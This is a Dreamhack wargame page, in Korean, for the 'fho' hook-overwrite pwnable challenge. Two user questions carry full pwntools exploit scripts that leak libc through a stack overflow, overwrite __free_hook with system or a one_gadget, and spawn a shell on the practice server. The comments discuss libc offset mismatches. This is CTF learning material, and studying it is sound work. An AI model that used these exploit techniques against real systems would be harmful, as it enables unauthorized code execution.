LEVEL 2

fho

pwnable
  • 문제 정보
  • 풀이 59
  • 난이도 투표 68
  • 질문 25
  • 최근 풀이자 1402
  • 댓글 30

문제 설명

Description

Exploit Tech: Hook Overwrite에서 실습하는 문제입니다.

Challenge Updates

2023.04.27: Dockerfile이 제공됩니다.

출제자 정보

avatar
Dreamhack
대표 업적 없음

First Blood!

avatar
Sechack
2024 Invitational Contenders
출제된 지 4시간 만에 풀이 완료!

난이도 투표 68

질문 23

문제 풀이에 어려움이 있으신가요?
커뮤니티에서 문제에 대한 질문하고 답변 얻기
로컬에선 익스가 되는데, 원격지에선 불가능합니다.
1. 익스플로잇 코드 1-1. 로컬 from pwn import * libc_start_main_offset = 0x21ba0+231 system_offset = 0x4f420 # binsh_offset = 0x1b3d88 free_hook_offset = 0x3ed8e8 log.contect_level = 'debug' p = process("./fho") LibcLeakGarbage = b'a'*(0x40+0x8) #buffer+sfp pause() p.send(LibcLeakGarbage) p.recvuntil("Buf: ") p.recvuntil("Buf: ") p.recv(0x40+0x08) Libc = int.from_bytes(p.recv(6), byteorder='little') print("main ret addr : " + hex(Libc)) libc_base = Libc-libc_start_main_offset system_addr = libc_base + system_offset binsh_addr = libc_base + binsh_offset free_hook_addr = libc_base + free_hook_offset print("system addr : " + hex(system_addr)) print("binsh_addr : " + hex(binsh_addr)) print("free_hook_addr : " + hex(free_hook_addr)) p.recvuntil("To write: ") pause() p.sendline(str(free_hook_addr)) p.recvuntil("With:") pause() p.sendline(str(system_addr)) p.recvuntil("free:") pause() p.sendline(str(binsh_addr)) p.interactive() 1-2. 원격지 from pwn import * log.contect_level = 'debug' libc = ELF("./libc6-x32_2.21-0ubuntu4.3_i386.so") p = remote("host3.dreamhack.games", *) LibcLeakGarbage = b'a'*(0x40+0x8) #buffer+sfp pause() p.send(LibcLeakGarbage) p.recvuntil("Buf: ") p.recvuntil("Buf: ") p.recv(0x40+0x08) Libc = int.from_bytes(p.recv(6), byteorder='little') #u64(p.recvline()[:-1] + b'\x00'*2) print("main ret addr : " + hex(Libc)) libc_base = Libc-(libc.symbols['__libc_start_main'] + 231) system_addr = libc_base + libc.symbols['system'] binsh_addr = libc_base + libc.symbols['__free_hook'] free_hook_addr = libc_base + libc.symbols['__free_hook'] print("libc_start_main_now : " + hex(Libc)) print("libc_start_main : " + hex(libc_base)) print("system addr : " + hex(system_addr)) print("binsh_addr : " + hex(binsh_addr)) print("free_hook_addr : " + hex(free_hook_addr)) p.recvuntil("To write: ") pause() p.sendline(str(free_hook_addr)) p.recvuntil("With: ") pause() p.sendline(str(system_addr)) pause() p.sendline(str(binsh_addr)) p.interactive() 2. 질문 사항 1-1의 코드로 로컬에선 익스가 가능한데, 1-2의 코드로 원격지에선 익스가 불가능합니다. 어떻게 해결하면 좋을까요? 2-1. 시도해본 것 docker과 워게임의 libc 버전이 다를 수도 있단 생각이 들어서, ret의 libc_start_main을 leak한 후 https://libc.blukat.me/ 의 libc database에서 하위 1.5byte에 부합하는 몇 가지 libc 버전을 추렸습니다. 이후 1-2 코드의 5 line에 각 so 파일을 전부 대입해봤지만 익스되지 않았습니다. fho 바이너리를 docker가 아닌 host wsl의 pwndbg로 뜯어봤을 때, docker에선 ret에 libc_start_main+231이 아닌 libc_start_call_main+128이 들어있는 걸 볼 수 있었습니다. 따라서 바이너리가 위치한 os 버전에 따라 ret에 적힌 주소가 libc_start_main이 아닐 수도 있고, 혹은 맞긴하지만 offset이 231이 아닐 수도 있단 생각이 들었습니다. 그러나 1-1과 1-2 모두 중간까지 실행하고 출력값을 봤을때, libc_base의 하위 1.5byte가 0으로 채워져 있었기에 ret가 libc_start_main+231인 것은 거의 확실하다고 생각하여 해당 가능성은 폐지했습니다.
avatar cityofwonder
문제가 뭔지 모르겠습니다. ㅠㅜ
exploit test를 통해서 Hook overwrite를 따라해보고 있습니다. local에서 flag 값까지 얻었는데 실제 서버에서는 flag값이 안나오네요. 뭐가 문제인지 알 수 있을까요? code #!/usr/bin/python3 from pwn import * p = remote("host1.dreamhack.games", 17917) #p = process("./fho") e = ELF("./fho") libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") def slog(name, addr): return success(": ".join([name, hex(addr)])) buf = b"A"*0x48 p.sendafter("Buf: ", buf) p.recvuntil(buf) libc_start_main_xx = u64(p.recvline()[:-1]+b"\x00"*2) libc_base = libc_start_main_xx - 0x021b97 free_hook = libc_base + libc.symbols["_free_hook"] og = libc_base+0x4f302 slog("libc_base", libc_base) slog("free_hook", free_hook) p.recvuntil("To write: ") p.sendline(str(free_hook)) p.recvuntil("With: ") p.sendline(str(og)) p.recvuntil("To free: ") p.sendline(str(0x31337)) # doesn't matter p.interactive() server 응답 hyunmin@WMRRD11-NC102M3:~/hyunmin$ python result.py [+] Opening connection to host1.dreamhack.games on port 17917: Done [*] '/home/hyunmin/hyunmin/fho' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] '/lib/x86_64-linux-gnu/libc-2.27.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] libc_base: 0x7f4ec0479060 [+] free_hook: 0x7f4ec0866948 [*] Switching to interactive mode [*] Got EOF while reading in interactive $ ls
김현민_cto

최근 풀이자 1402

정윤주
대표 업적 없음
뚜와리밥
대표 업적 없음
avatar
d3vh4cks
대표 업적 없음
Turt1e94
대표 업적 없음
rhdmsl
대표 업적 없음
닉네미
대표 업적 없음
peregr1nus
대표 업적 없음
Ehwon
대표 업적 없음
kuku_727
대표 업적 없음
neworld
대표 업적 없음

댓글 30

Ma_Mu0228
대표 업적 없음
libc_start_call_main+xx 이 오프셋은 반드시 도커안에서 gdb로 확인하고 하세요
avatar
Tjdmin1
새싹
libc_start_call_main...wtf
avatar
스카이넷
워게임 고인물
ez
catpwn
대표 업적 없음
라이브러리 버전...............
avatar
KnightChaser
공부벌레
Bidirectional methods to solve this intrigue me more
avatar
Sunja
강의 수강: 10
main 함수의 실현과정?을 정확히 알 수 있어서 좋았습니다./
avatar
skandia
대표 업적 없음
어우 로컬이랑 환경 달라서 삽질 엄청했네
avatar
Ox0ne
대표 업적 없음
개념은 쉬운데 워게임을 풀려하면 매번 어렵
avatar
kio
CTF Second Place
gg
avatar
msh1307
대표 업적 없음
ret가 로컬환경이랑 약간 달라서 찍어맞췄네 ;;